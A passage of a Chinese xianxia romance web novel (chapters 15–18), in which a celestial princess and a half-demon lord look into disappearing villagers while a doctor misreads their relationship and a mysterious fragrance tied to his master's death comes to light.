茫茫险壑,如死一般寂寥,最幽深最神秘的地方,视线远不可及,云雾就像一团晕开的水墨,总想让人试图拨开它,一跃而下、一窥其中……
卿岌碾过草丛的沙沙声传来,叶星簌突然回神,收回视线,轻不可闻地叹一口气。
她重新看向前方,卿岌步子不停。
“坏人,回头!”她又叫住了他。
玩笑般的语气,没有埋怨或愤恨,少女清脆的声音连“坏人”二字都咬得轻盈娇俏。
冷漠的背影还算有点良心,卿岌驻足侧身而立,眉眼中除了事不关己还是事不关己。
叶星簌笑容明媚,伸出一只手,笑吟吟道:“卿岌,那你拉我一把,好不好?”
15. 第 15 章
从卿岌的视角看过去,清瘦的姑娘在绵延山峰衬托下,显得渺小如尘。
她的笑容很碍眼。
卿岌不明白她在笑什么。
他的视线下移,落在她如玉一般白皙的指尖,眼底意味不明。
叶星簌抬着胳膊等了很久,笑颜莞尔,也不催促。
终于,卿岌动了。
但他只是面无表情地看她一眼,然后漠然转身。
没有一点犹豫,没有一分留恋。
他转身带起微风,连袍角掀起的弧度都显得凉薄无情。叶星簌的唇角悄悄落了,垂下的手指蜷进袖子里。
看着他的背影,叶星簌忿忿控诉道:“不是吧!真的要这么寡恩无情吗?”
她对着他虚挥了一拳,然后提裙轻盈地踩下大石块,小跑着追了过去,从他身侧探头,立眉瞪视,斥道:“卿岌,你很过分啊!”
卿岌睨她一眼,讥讽地揭穿道:“叶姑娘修为高深,头朝下蹦下去都死不了。”
“这句话更忘恩负义了!”叶星簌面不改色道:“我只是个普通修士,没那么大的修为,我要是真的掉下去,你小心后悔都来不及……”
卿岌忍不住打断她:“行路无趣,叶姑娘又聒噪无比,既然如此,不妨请叶姑娘解惑——身为普通修士的你,是怎么解决三头蟒的?”
“……”
叶星簌眨眨眼睛,闭嘴了。
经过这么一个插曲,加上卿某人过于扫兴,叶星簌没了之前东聊一句、西扯一句的热情,神色恹恹地安静带路。
没多久,二人就抵达官道附近的村落。
由于这几日有村民莫名失踪,整个村子弥漫着一种惴惴不安的恐惧。
叶星簌在村子里走了个遍,忙前忙后,询问种种线索细节,还要安抚忐忑受惊的村民。费了好一番功夫好说歹说,讲得嗓子都干了,终于让人们放下戒备。
众人很快地聊开了,围在一起吵吵嚷嚷,争先恐后地给叶星簌讲那几户人家相关的种种,起初还能说两句有用的,之后便越来越扯……
喧闹之外,卿岌抱臂靠在院外的一棵老槐树下。若不是他脸上的不耐烦过于碍眼,倒也说得上是道风景。
那几户人家都是一夜之间失踪的,过于蹊跷,村民们也没提供什么有用的线索。
村长领他二人去往失踪的那几户家里。
叶星簌巨细无遗,连犄角旮旯都细细检查。在第五户人家的门口,卿岌的表情越来越臭,耐心告罄。
叶星簌只当没看见他的表情,二话不说把他推进屋中。男人不防,趔趄了两步,站稳后猛地转头,冷眼瞪向她。
叶星簌瞪回去,道:“你不准闲着,帮我干活!”
卿岌掀唇冷笑:“我是你的侍女?”
叶星簌:“这么多村民失踪,难道你不想知道是谁抓的吗?”
卿岌:“不都说是魔族干的?我耳朵没聋。”
叶星簌:“错,这件事跟魔族没关系,我们现在要调查这件事情的真凶。”
“多此一举。”卿岌作势离开。
叶星簌连忙上前,张开双臂扣住门框,整个人挡住他的去路,扬头与他对视:“等等,你真的不想知道谁是元凶吗?”
“关我何事,关你何事。”卿岌凉薄微笑,突然俯身,一只冰凉的大手扣住她的颈侧,陡然间,两双眼睛的距离被生生拉近。
卿岌的目光如同发现猎物,无声蛰伏却势在必得的毒蛇,直直望向她的眼底深处,轻声道:“叶姑娘,适可而止吧,我快没耐心陪你玩家家酒了。”
颈间有些麻意,叶星簌被迫仰头望着他,目光相对。
彻骨冰凉贴近皮肤,她有些不自在地动了动,卿岌本就装模作样的笑意早已消失得无影无踪。
“我对掳人的凶手不感兴趣,倒是对叶姑娘来小玄山的真实目的特别好奇。”卿岌道,“找有缘人这种说法太敷衍,叶姑娘不妨再编个别的理由说来听听?”
叶星簌突然不再动弹。
——他的一只大手握住纤细的皓颈,冰凉的手指微一摩挲,指腹似有似无地蹭过喉部。从轻不可察的力道开始,一点点地加重、再加重……
然而,叶星簌似乎对自己的境况毫无所觉。二人一个俯首,一个抬头。
她的眼睛一眨不眨地盯住他每个微乎其微的举动,仿佛是在饶有兴趣地观察。
“仙师,不知您有什么发……哎哟哎哟!”
身后,村长急急忙忙赶来,话还没说完便脚下一拐,恨不得手脚并用地跑走,还不忘嚷嚷道:“俺啥也没看见!!!”
从村长方向看去,活生生一副仙门有情人的恩爱场面——风流倜傥的郎君与仙姿佚貌的姑娘情难自已,互诉柔肠小意……
他这一咋呼,叶星簌睫毛一颤。
卿岌熟视无睹,甚至连半个眼神都没分过去。他仍玩味地看着她,等她开口,耐心十足。
叶星簌嘴角忽然扬起一抹弧度。
她抬手,轻飘飘地握住了他的手腕,笑道:“那你想听什么?或者说,你会相信什么理由……不过我不太会编故事。”
卿岌惋惜一叹:“那就可惜了——”
颈间力道猛地收紧。
“好了。”叶星簌却安抚似地轻轻拍了拍他的手,眉眼弯弯,道:“别吓唬人了,卿岌,你从来就没想在我面前掩饰过什么。”
少女瘦削的身躯分明在男人面前显得堪堪易折,偏偏她却游刃有余。
叶星簌甚至主动欺身靠近,吐息如兰,近似呢喃却格外笃定道:“你连魔骨都没有,拿什么杀我?”
话音一落,那道阴恻的力量瞬间消失了。
卿岌冷眸一沉,倏地抽身,与此同时,周遭在不知不觉中攀延的森寒气息也一并消散了。卿岌站在离她五步之距的地方,阴鸷睨着她。
叶星簌早就看穿了他在装腔作势。
她再迟钝也该有所察觉,相识多日,卿岌始终对
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她怀有杀心。
他这种人……应该说他这种魔,想要杀谁直接手起刀落杀了便是,到现在都没动手,只有一个理由:杀不了。
也是,一个没有魔骨的半魔,最多杀个凡人绰绰有余。除非倚仗法器,否则他根本动不了叶星簌这身仙骨道体。
尽管不至于危及性命,但叶星簌的嗓子仍有些不舒服。甫一脱离桎梏,她就故意夸张地咳了几声,余光一瞥,果然,卿某人的脸色更难看了。
此刻,面前的男人连虚伪的笑都不愿意装了,叶星簌以为自己戳到了他的痛处。她没什么诚意地道歉:“我也不是想揭你伤疤,只是想提醒你,你杀不了我,别白费力气。”
卿岌冷笑:“是吗?”
“不是吗?如果可以你早就动手了。”叶星簌没好气道:“虽然不知道什么时候冒犯小尊主了,但你一直都把想杀我的意图直白地摆在脸上,这点眼色,我还是有的。”
卿岌语气嘲弄:“王女阁下是有点眼色,但不多。”
看来,他也早早猜到了自己的身份,不过叶星簌丝毫不意外。这样也省事,互相知道彼此的身份,也用不着费劲解释了。
叶星簌在心里为自己点头,坦诚身份是变熟交心的第一步。
虽然过程拐弯抹角,但四舍五入也算是个好的开始了,不错。
叶星簌心情稍好,一边在屋子里翻找线索,一边闲聊道:“卿岌,你是魔尊最小的孩子吗?”
二人默契地恢复方才的相处模式,卿岌又不想搭理她了。他阖着眼半倚门框,活脱脱一副眼不见为净、拒人千里之外的模样。
“你从小就在枯邕城长大的吗?”
“……”
“魔域王城是什么样子?”
“……”
“你那个哥哥经常欺负你吗?”
“……”
叶星簌毫不气馁,喋喋不休:“那你的……”
卿岌撩开一只眼睛,斜睨着她,语含警告:“叶姑娘,闭嘴。”
叶星簌手上动作一顿,抬头笑眯眯道:“之前没有摊牌就算了,事到如今,你还想装模作样吓唬谁呢?”
卿岌笑了笑,温声道:“我还是那句话,你会后悔。”
叶星簌不置可否地歪歪头,正想说些什么呛他,但她的目光一顿——
角落里,一张破旧毛糙的草席整整齐齐地叠着,四角规整。这种东西结实耐用,一般人家用起来几年都不会换新的。
叶星簌抬步上前,扫视一圈,那块席子四边都磨损得不成样了,偏偏周围地面干净得一尘不染,不见丁点草屑。除非这户人家极爱干净。但她四下环视一圈,连窗棱上的灰尘都积了半寸之高……
她刚伸手轻轻一碰,草屑就窸窣抖落。
叶星簌直接捏起边角,一把掀开草席,灰尘在顿时阳光中四散扑飞。
不出所料,果然有线索——
地面上,划着一道很浅的剑痕。
……
16. 第 16 章
“小玄山附近可什么仙门宗派吗?”叶星簌问。
晏梦年正在忙前忙后地给卿岌换药。
在得知这厮今早打算不告而别后,晏大夫气得鼻子都歪了,指着若无其事的卿某人破口大骂:“这么能折腾!这么想死!去拿柴刀把脖子一抹多省事!”
骂完,头一扭,语气瞬间平和:“姑娘想问什么样的宗门?这年头,屁大个宅子都能圈地立宗,正儿八经修仙问道的不少,但装神弄鬼的江湖骗子更多。老子之前去柘荣山,遇见个穷和尚,怎么说也是出身大名鼎鼎的佛门,谁知那个死秃驴算计了老子一桌子的好酒好肉……”
晏梦年一边骂骂咧咧地绑纱布,一边分神回她。
叶星簌忽略他罗里吧嗦的话,略一思量,道:“门生多的,势力应该不弱,还养剑修。”
晏梦年眉头一拧,绞尽脑汁想了一会儿,犹豫道:“东南方向,冀州城里头有个宗门大概和你说的沾边,但里面并没有求仙问道的修士。”
叶星簌:“具体点。”
“冀州曹氏,原本干的是打铁铸剑的行当,也不知道什么时候开始教人习武练剑了。”晏梦年不屑道:“我混进去瞧过,曹家人教的那些剑术仙法有点邪乎,连狗屎都比不上,不如让老子去教五禽戏。”
叶星簌想了想,道:“既然这么上不得台面,那他们是怎么积累势力的?”
“坑蒙拐骗呗。曹家祖上犯事被贬,不过瘦死的骆驼比马大,在冀州也算个富庶人家。倒是几年前,曹氏旁支出了一位铸剑师,在盛京得到宫里贵人的赏识。所以曹家一人得道鸡犬升天,顶着铸剑师的名头招摇撞骗,天底下又最不缺傻子。”
叶星簌还想问什么,一旁始终没插话的卿岌脸色不善地轻啧一声。
他端起一杯水,垂眸冷冷道:“吵死了,滚出去。”
晏梦年瞬间跳脚,嚷嚷道:“白眼狼!你这种阴晴不定的疯子死的时候绝对先烂嘴!”
卿岌冷瞥他一眼,晏梦年怒气冲冲地摔门离开。
屋里陡然安静,冷不丁还让人不习惯,叶星簌坐着没动,安安静静地看他仰头灌下一杯水。
“砰”一声,瓷杯砸在桌面上。
叶星簌抬头,撞上他冷冽阴寒的目光。
“晏大夫说起话来就罗里吧嗦,你身上的伤还没彻底痊愈,是该清净些。”叶星簌扬起一抹笑,道:“不过你干嘛这样看着我?”
卿岌微扯嘴角,玩味道:“叶姑娘,如果一个人眼睛不好,耳朵也不好,说明什么?”
叶星簌疑惑道:“什么?”
卿岌含笑:“说明此人大限将至。”
叶星簌瞬间就明白他的意思,这是又在嫌她碍眼闹心了。
晏大夫说得没错,这厮是该烂嘴。
心里这样腹诽,面上却不显恼意,叶星簌用半开玩笑的语气道:“你怎么知道我快死了?”
卿岌目光不动,依旧阴戾。
在他将要说出更坏心情的话之前,叶星簌佯装诧异道:“难道你刚刚说的‘滚’,也包括我吗?”
卿岌嘴角带笑:“你说呢。”
叶星簌谆谆道:“这样对姑娘家说话不礼貌。你知道吗,聂阳王城和九重天极重礼仪,哪怕是天君之子,见了我都要守君子之仪……”
“闭嘴。”卿岌不耐烦地揉了揉太阳穴,直接打断道:“滚出去。”
叶星簌道:“我还没说完。”
卿岌抬手指向屋门,语含警告:“想让我教你怎么滚?”
“你的脾气真的太烂了。”叶星簌一拍桌子站了起来,杏眸圆睁,原本打算装模作样逗弄他的指责猛地卡在嘴边,望着他冷漠的侧脸和刀削般的颌线,她的眼角莫名一酸,却在一瞬之间回神,连忙低下头,飞快眨眼。
少女站着没动,卿岌冷笑一声,正欲发作。
叶星簌的语气突然软了下来,平静道:“你这样子,以后要怎么去聂阳王城和九重天呢?”
卿岌一顿,脱口而出:“我为什么要去仙域?”
他第一反应是自己听错了。
没头没尾的一句话,简直莫名其妙,早就说聂阳王女的脑子缺根筋。
叶星簌眨眨眼,笑吟吟道:“我们不是朋友吗?朋友之间都是要互相去家里做客的呀,过些日子我请你去聂阳王城玩好不好?还有九重天,你一定没有去过天上吧。就是你的烂脾气和说话方式要改一改,聂阳王君古板严苛,还有九重天的规矩也挺多……”
卿岌气笑了:“大白天说什么疯话?”
叶星簌的脸上有几分失落,“你真的不想去吗?”
卿岌微一弯唇,“倘若小王女愿意敞开大门迎万千魔军入城,我倒是可以考虑考虑。”
叶星簌认真道:“卿岌,我方才说的那些不是骗你。不论身份、不论立场,只论你我。”
卿岌没骨头似地倚着,“你我之间有何可论?”
叶星簌想了想,道:“天缘奇遇你不认,那我好歹为你撑了伞。”
卿岌不屑地嗤笑一声,过后,脸上神情一敛,意味不明地打量她,似乎在盘算这点微不足道的际遇值不值得为她再多付出三分耐心。
叶星簌话音一转,道:“今天去那些山民家里寻找线索,我本可以一个人去,你知道为何要带你一起?”
卿岌不假思索,懒散悠悠道:“没兴趣知道。”
叶星簌没理会他,“此地距离魔域太近,翻过山就是枯邕城,今日你可听见哪些村民的揣测?几乎所有人都以为掳人的事是魔族干的。假若此事闹大,招来人间修士或是九重天的仙君,肯定也会第一个怀疑到你这个枯邕城城主的头上。”
卿岌一手撑腮,一手拨弄瓷杯,整个人兴致缺缺,似乎叶星簌说的人不是他。
“虽说你们魔族作恶多端,你看起来也不在乎名声,但冤有头债有主。世间黑白难辨,而我还是有些底气来辨一辨孰是孰非。”叶星簌歪歪头,有些狡黠道:“小尊主,我是在帮你。”
一声轻嗬,卿岌推开杯子,撂下一句话:“莫名其妙。”
叶星簌道:“冀州曹氏绑完人还要处理现场,摆明了就是想让你们背黑锅,他们这么坏你名声,不生气么?”
听她叽里咕噜掰扯这么多,卿岌一耳朵进一耳朵出,早已烦不胜烦。他起身揪住叶星簌的后领,一手大力拉开门,面无表情地一偏头,“小王女,想体面的话就自己走。”
叶星簌被他半拖半拽地扔出房间,不满撇嘴道:“黑锅都往你脑门砸了,还这么事不关己,你到底是冤大头还是为非作歹的魔——啊!”
话音未落,木门被重重甩上,差点拍到叶星簌的鼻梁上。
木屑抖落,叶星簌没忍住,朝门上狠踹一脚泄愤,然后扬声叮嘱道:“喂,白眼狼!明天早点起床,跟我一起去冀州!”
屋里无人回应。
叶星簌站着没动,片刻后,她无奈一笑。
檐下少女身影孤伶,温声道:“卿岌,如果妥协太久,有一天就会彻底无能为力……要是背了太多的黑锅,你还能看得清路、看得见我吗?”
*
“啧啧啧啧——”晏梦年唏嘘感叹,眼神戏谑又古怪。
卿岌最不耐烦他这副贱嗖嗖的模样,指尖一转
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,瓷杯“嗖”地朝晏大夫的面门袭去。
后者眼疾手快地抱头蹲地,瓷杯带着厉风,擦着晏梦年的耳朵极快飞过,然后重重砸在墙上,应声摔碎了。晏梦年定睛一看,地上的碎渣几近摔成齑粉,显然是没有留情的力道。
晏梦年搓了搓被火燎了般的耳朵,破口大骂:“老子啧你两声怎么了?用得着犯病杀人?!”
卿岌微微侧首,眼神冷厉。
晏梦年一顿,缩缩脖子,试探地问:“你……你心情不好?”
卿岌收回视线,不屑一笑,周身的杀伐之气收放自如,瞬间敛得一干二净。男人狭长的双眼微眯,躁郁道:“那小神仙真是又麻烦又聒噪。”
晏梦年顿时了然,这厮莫名其妙地抽风居然是因为叶姑娘。
叶姑娘看着温温柔柔笑语盈盈,实则是个城府极深的主,明知道卿岌不是个好东西,还天天往他跟前凑。
金尊玉贵的聂阳王女巴巴贴卿岌的冷屁股,只能说明除了别有用心还是别有用心。
不过,这些算计谋略跟他一介乡野大夫又有什么关系呢?
晏梦年事不关己,随口道:“人家小王女又怎么你了?”
“新刀还没拿到手,小神仙整日碍眼却杀不了。”卿岌扯唇冷笑:“死胖子毁了我的刀,迟早剐了他。”
晏梦年一脸不忍,忙出声打断:“哎哎哎你怎么又发疯!”他想起什么,猛地恍然道:“我说,会不会是咱们想复杂了?”
卿岌以眼神示意。
晏梦年越琢磨越觉得不对劲,像发现什么了不得的大事,看向他的目光越来越震惊,然后捂着肚子“噗嗤”一声,“哈哈哈哈哈哈哈——”
卿岌眉眼一沉。
晏梦年察觉到此人又要发癫,艰难憋住笑,道:“诶,人家就差把窗户纸戳破了,你怎么屁都不明白?老子好心提醒你一句,别整天杀人玩刀了,多跟你大哥学学,小妾都养三十多个了!”
卿岌脸色不善,但听他的语气,自己似乎忽略了什么重要的事情,沉声道:“你什么意思?”
晏梦年一边哀嚎卿某人是天下第一木头脑袋,一边“传授经验”:“这世间女子啊,多是含蓄内敛。正所谓‘青青子衿,悠悠我心’,所谓‘关关雎鸠,在河之洲’……她整天哪儿也不去就耗在这儿盯你养伤,还跑前跑后地找真凶,你说,她什么意思?”
卿岌蹙眉抿唇,晏梦年暗骂不开窍的蠢东西。
晏梦年提醒:“她刚刚说想要邀你去哪儿?”
卿岌略一回忆,答:“聂阳。”
“啪啪啪!”晏梦年鼓掌,“恭喜我吧,老子马上就能喝上你的喜酒了!”
卿岌拧眉:“你到底在说什么?”
晏梦年:“你怎么还不明白?我给你分析啊,古往今来,哪个神仙捉妖封魔还得纠正妖魔鬼怪的言行举止?但她呢,她嫌你脾气烂,嫌你没规矩,嫌你没法在仙域拿出手。去了聂阳王城稍微学点规矩,平常再装一下凡人,不会有神仙发现你的身份。再说,反正你没有魔骨,翻不起什么风浪。”
“所以我猜啊,小王女是看上你了,想把你弄去暖个床什么的。看看,人小王女想的就是周到。”
卿岌:“……”
晏梦年与卿岌相识多年,第一次在他的脸上看到除了想砍人之外的表情,扭曲古怪,还有几分明显的茫然。
留下浑身僵住的卿某人自己反应开窍。
“聂阳王女什么眼光,怎么看上你这么个王八羔子……”晏梦年一边往外走,一边唉声叹气地嘀咕:“莫非因为脸?倒也是,你这张脸比有些魅魔狐妖都顺眼。”
17. 第 17 章
事实证明,卿岌这种残缺的魔少的不止是魔骨。
晏梦年本以为自己好心提点之后,卿岌的榆木脑袋能开窍,谁料男女之情在他看来似乎是另一回事……
傍晚时分,叶星簌也察觉到了古怪。
晏梦年的一进院子撑死巴掌大小,如今勉强住下四个大活人,谁在哪间屋子一眼便知。这就无法避免和彼此抬头不见低头见。
所以,当卿岌第三次打开房门,与坐在院中碾磨药材的叶星簌四目相对时,二人一时无言,卿岌眼底翻涌着各种情绪。
蓦地,少女扬起一抹浅浅的笑。
叶星簌只是礼貌性地和他打招呼,却惹得卿岌莫名火大,“哐”地一声摔上门,惊得院外鸟雀扑飞。
晏梦年攥着菜刀从庖厨探头,骂骂咧咧道:“第三次了!是不是第三次了!你莫不是想把房子拆了!!!”
骂完,晏大夫下意识地缩缩脑袋,谁料风平浪静,卿岌竟然也没丢出什么东西破窗砸他,不由纳闷地“咦”了一声。
几日来,卿岌总嚷嚷着院里人多,一副连呼吸声都嫌聒噪的矫情样子。他压根在屋里待不住,不是躺门口的大树上睡觉,就是寻个山间小溪躲清净。今天却稀奇得很,门开了三次都没出去,叶星簌不由疑惑。
莫非是因为她坐在院子里挡着路了?
没道理啊,卿岌一贯把自己当瞎子、把她当空气,今天这是瞎子复明还是她终于有点存在感了?
叶星簌扭头问道:“晏大夫,他今天这是怎么了?”
晏梦年瞄她一眼,暗自嘀咕莫不是自己一句话点醒那个疯子了,于是竭力忍笑,咬着后槽牙五官扭曲道:“疯病,疯病而已!叶姑娘不用搭理他!”
叶星簌看向紧闭的房门,微微抬眉,不置可否。
直到用晚膳时,叶星簌才确定,卿岌是在躲她。
但她想了许久也没想出理由。
这厮整天杀气腾腾,叶星簌总觉得他极有可能寻着机会就把自己掐死,此刻突然性情大变,实在令人费解。
今晚,卿岌没出来吃饭。
虽然魔并不需要进食,但晏梦年做饭时加了些药材,骂骂咧咧地扒拉点饭菜准备端给他,叶星簌伸手拦下,道:“我来吧。”
晏大夫大喜,自觉善解人意连忙把碗递给她,殷勤道:“叶姑娘,有劳您了!”
叶星簌不明所以地扫他一眼,随口道:“你今天也不对劲。”
晏梦年干笑:“怎么会,哈哈哈!”
她端着饭菜轻叩房门,从里传来有气无力的声音:“滚。”
这虚弱的语气让她不由担心,叶星簌还没忘记他的一身伤和不久之后就会没命的事实。她索性直接推门而入,桌案边,卿岌坐没坐相地跷起二郎腿,听见声音也没动弹,不耐烦地“啧”了一声。
叶星簌松了一口气,反手掩上门,把饭菜搁在他的手边,自己搬了把凳子坐在对面。
“你为什么躲着我?”叶星簌开门见山地问。
卿岌嗤笑道:“小王女,您又自作多情了。”
“是我自作多情吗?”叶星簌含笑道:“卿岌,你今天似乎很在意我的存在,应该是这些日子里第一次把我看入眼。”
卿岌凉凉道:“堂堂仙域王女,您缺我看?”
叶星簌道:“是不缺,但这不是恰好证明我们的关系在朝好的方向发展吗?”
她突然探身凑近,好奇问道:“告诉我,发生什么了?”
卿岌用竹筷末端抵住她的肩膀,把人戳得远些,二人保持在一个不远不近的距离。他这才慢条斯理地夹菜吃饭,双眼抬也不抬,冷笑一声:“明知故问。”
叶星簌眼睛一亮,神思飞转,连忙把近日发生的一切想了一遍,自觉明白了大半,弯唇一笑:“哦,我知道了,我先前说的话你听入心了对不对?”
卿岌的眉心不动声色地微蹙,下意识地想反驳。
叶星簌没有察觉,仍道:“冀州曹氏连正经仙门都算不上,却敢大张旗鼓地让你背黑锅,真是卑鄙又狂妄。下午时候,我又仔细想想,先前是我不对,不该说你是冤大头。明知你因没有魔骨而天生受制,而且曹氏又在仙家庇佑守镇之地,想要讨公道实属不易。”
卿岌眉峰微动,终于舍得撩开眼皮睨她一眼。
叶星簌歉然一笑,道:“你身为一城之主,又是魔尊幺子,处境之艰,是我想的浅薄了。此事若是于你一人而言,该需从长计议,不过现在还有我,我会帮你。”
卿岌缓缓勾起唇角:“此事若是于我一人而言,更简单,全杀了便是。”
叶星簌揭穿道:“冀州曹氏再不济,那也是堂堂铸剑师的族亲,府里若是没几件像样的法器灵剑,怎么会吸引那么多人趋之若鹜地求师?而你既没有魔骨,又没有法器,难不成想用这副短命的身板以命换命?”
卿岌要笑不笑地轻呵一声,仿佛听到了天大的笑话。
叶星簌狐疑道:“难不成我猜错了?那你今日突然性情大变,到底是因为什么?”
提起这个就来气,卿岌脸色一寒撂了筷子,黑漆漆的瞳孔尽是凌厉,阴恻道:“若不想聂阳王城血流成河,你最好把那等心思收回去。”
叶星簌一愣:“什么?”
卿岌冷眼侧目,只觉得她在装模作样,语峰一转,开口带着几分凉飕飕的笑:“你的后院里面养了几个妾侍?看看我一天一个,够不够杀。”
叶星簌望着他,脸上的疑惑越来越深。
“……妾侍?你在说什么啊?”
卿岌却像是脑子抽风一般,饶有兴趣地继续道:“这就心疼了?”
他突然欺身上前,冰凉的大掌轻飘飘地覆在少女脸侧,男人深深凝着那双清澈的星眸。
卿岌沉沉笑道:“怎么办,我还想当着你的面杀呢。小王女,你除了这副慈悲和善的模样,就没有别的表情了吗?”
说罢,卿岌毫不留恋地抽身,神情淡漠仿佛变脸。
看着他没心没肺般重新拿起筷子,拨拉着盘中菜品又挑又拣。叶星簌眼底的疑惑渐深,她后知后觉地意识到,他们似乎在说完全没有干系的两件事情……
卿岌已经不清醒了,应该是快死了。
晚间,叶星簌把这件事跟晏梦年随口一提,晏大夫配药的手狠狠一抖。
叶星簌:“怎么了?”
晏梦年咬着后槽牙,“无事无事。”
他一边抓起一把马钱子,一边恨铁不成钢地帮脑子不好使的卿某人找补道:“他兴许是误会什么了。你看他那样子就不是个正常人,可能平常生活的环境使然……呃,人坏了,对对对,就是人坏了!”
叶星簌恍然,“你说的有理。”
想想也是,卿岌是魔尊之子,从小到大生活在那至浊之地,所见所闻之中,腌臜阴私才是习为故常。想来的确如晏大夫所说,
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兴许是她说了什么话让卿岌误会了。
想明白这些,叶星簌便把这件事抛在脑后,早早回屋歇息。
晏梦年给卿岌换药,一边拆纱布一边骂道:“老子就不该对你有指望!你是不是有什么毛病?还妾侍?没听说聂阳王女偏爱磨镜之好啊,纳哪门子的妾。”
卿岌漫不经心地“噢”了一声,随口道:“我有说错吗?或者该说面首?”
晏梦年大呸一声,百般不解道:“你到底想到哪儿去了?怎么,你想给聂阳王女当妾啊?”
卿岌冷声道:“不是你说的她看上我了吗?”
晏梦年疑惑道:“是啊,是老子说的,可这跟纳妾有什么关系?”
卿岌不耐烦道:“那老不死的和我大哥二哥向来如此,心悦谁就把谁绑到后院当妾,男人女人都绑,有什么稀奇?不过是半个月后能不能活着的区别。”
“小神仙不知天高地厚,竟然打起我的主意。突然想想,倒也可以借她这份心思叩开聂阳王城的大门,杀仙君总比杀魔域的废物有意思……”
后面的话晏梦年一字也没入耳,目瞪口呆地回味前半句。
晏梦年痛心疾首地发现,让卿某人开窍真是任重而道远,在他眼里,男女之情不过是一方兴起、绑了当妾,然后死生由命。
晏梦年一脸愁容:“唉呀——”
晏梦年:“想不到啊想不到,小尊主您活了几百年,到现在还不通晓男女之事……”
一声轻嗤,打断他的话,卿岌突然寒声开口:“不就是床上那点破事?”
晏梦年狐疑:“你还知道这个?”
卿岌阴鸷地睨向晏梦年,“那个女人……”顿了顿,僵硬生疏地吐出两个字:“我娘。”
“和她一起关在宅子里的女人不下十个,老不死的每次过来,走到门口就开始脱裤子,他干什么可从来没想着避开我。”卿岌微微扬眉,“这世上最想杀死我的人只有一个,便是我娘。宅子里的女人死了一茬又一茬,偏偏因为我的存在,她被种了禁咒,想死死不了,除非被彻底抛弃。”
卿岌很少提及父母,晏梦年愣了愣。
卿岌眼角的笑意渐深,像是想到了什么有趣的事,幽幽道:“她唯一一次心甘情愿地脱衣服,是想杀了我之后再自裁。那天晚上,她趁老东西睡着,偷了他的匕首来寻我。”
说着,他抬起手臂,思考片刻,按向心口,“然后,她就把匕首扎进这里。”
“我身上还有一半魔尊的血,而她是没有半点法力的凡人,如何杀得了魔?”卿岌回忆往事,笑出了声:“当我身上插着刀抬头对她笑时,你都不知道她的表情有多绝望。”
晏梦年咽了咽口水,“后、后来呢?令堂她……”
卿岌平淡地“哦”一声,“戕害魔尊血脉,当以极刑论处,老不死的把她拖去万魔域,里面发生了什么我就不知道了。不过她好歹没死,继续跟平常一样过日子呗。”
晏梦年脸色瘆白,卿岌却已经说起了别的事,提起叶星簌,语气神色都不太好:“小神仙若是真要我去聂阳当妾,不如就遂了她的意,正好去仙域调查点事情……”
晏梦年实在犯愁,合着卿某人说了那么吓人的事,只是在用潜台词告诉他,妾侍的生活日常他很了解吗……
晏梦年无语扶额:“说一百遍了,心悦一个人跟纳他为妾不是一回事!你就没想过天底下还有正经夫妻这一说吗?!”
18. 第 18 章
显然,卿某人不止没这么想过,更没兴趣想,对晏梦年的话充耳不闻不说,还讥讽道:“相处多日,你就没察觉到什么?”
“怎么了?有什么不对吗?”
卿岌平地惊雷般撂下一句话:“她们和你师父的死有关。”
晏梦年猛地睁大了眼,原本戏谑的眼神陡然消失得无影无踪,破口惊声:“你说什么?!”
卿岌缓声道:“药神老头神殒时身上飘着的那股香气,我在那她们主仆身上闻到了,一模一样。”
晏梦年:“你怎么不早说!我们先前不是说好了,我帮你续命,你帮我找线索,为什么现在才告诉我!”
当年,药神神殒太过蹊跷突然,可单凭晏梦年一介肉体凡胎,压根没能耐在四海八荒追查下去。他不忠不孝,未能为恩师送终,也就卿岌见了药神最后一面。
是卿岌后来说,师父死前身上萦着一种从没出现过的气味,古怪阴恻。
可是在那之后,那股气味总是若有若无在四海八荒的某一处出现,然后昙花一现般消失。
为此,卿岌还去过人间王城找寻线索,却稀里糊涂地带着满身伤,拖着一副只剩半口气的残躯回来。
没想到时隔多年,这股神秘的气味竟又出现了。
卿岌继续道:“我确认过,聂阳王女身上的气味更浓郁,经久不散。”
他懒散地靠向椅背,饶有兴趣道:“我几次试探,她看似气定神和,实则对我的每次靠近都如临大敌。哼,稍微有丁点危险,她身上的香气就会突然变得很浓烈……”他略一斟酌,“就像是在保护她。”
晏梦年猛地站起,攥紧了拳头,摸出几根银针,“我去问她们。”
卿岌微微抬手,“等等。”
“我最近很不对劲。开始还以为是我天生厌恶神仙,所以一看见她就想杀人,冷静的时候想想,其实是这个气味让我很容易失去理智。”
卿岌撑着脸侧,道:“倘若她们真的跟老头的死有关,我来处理。你最好不要轻举妄动,否则我懒得替你收尸。”
晏梦年:“得了吧,咱们俩一个没用的凡人、一个濒死的废物,没准谁先给谁收尸呢。你打算怎么处理?”
卿岌想了想,道:“小王女倒是提醒我了——冀州曹氏。曹家骗人厉害,锻造法器的手艺也不赖,暂且去挑把刀用用。”
“她明早去曹家查线索,还偏要拖着我一起,真麻烦。”卿岌烦躁地抱怨,“今晚我得先去曹家走一躺,有了法器再对付她们,起码不会死那么快。”
晏梦年:“……”
晏梦年深吸一口气,眼中有些消沉。
见他出神,卿岌踢他一脚,叮嘱道:“聂阳王女太机敏,配点迷药让她们睡死。”
若非有理智掣肘,晏梦年早已冲出去不管不顾地问出口了,他用力地闭了闭眼,涩声道:“知道了。”
卿岌冷瞥他一眼:“等了多年,不差这几天。”
“我知道。”晏梦年紧握的双拳用了十足的力道,十指指尖毫无血色。
卿岌的脸上没什么情绪,淡淡道:“也不用太在意,毕竟除了气味也没有别的证据。”
“也是,”晏梦年叹气,“但愿和小王女无关吧。”
卿岌抬起头,视线飘向窗外——夜深了,乱枝密叶在风中沙沙轻响,昏暗银辉之下,只有树影斑驳。
卿岌:“有客人来了,小玄山最近还真是热闹。”
晏梦年神色一凛,警惕环顾四周。
卿岌冷笑:“远着呢,怕什么,应该是冲那小神仙来的。”
卿岌按了按鼻子,烦躁道:“又是两个身负异香之人,真是怪了……”
晏梦年震惊:“怎么突然冒出来这么多?”
卿岌:“说明不是巧合。”
他忽然紧闭双眼,额上青筋凸起,似乎在竭力忍耐什么。
“哎你这是怎么了?”晏梦年下意识为他探脉。
“没用。”卿岌格开了他的手,疲惫道:“异香太浓,但还不至于失控……”
晏梦年束手无策,好不容易等卿岌缓过来,也只能看着他略显狼狈的样子干着急。
晏梦年忽然反应过来:“所以你才改变主意,顺水推舟去聂阳王城一趟?”
一阵风吹过,屋外枝叶婆娑轻颤,森森夜幕之下,黑海般的山林尽显诡秘阴寒。
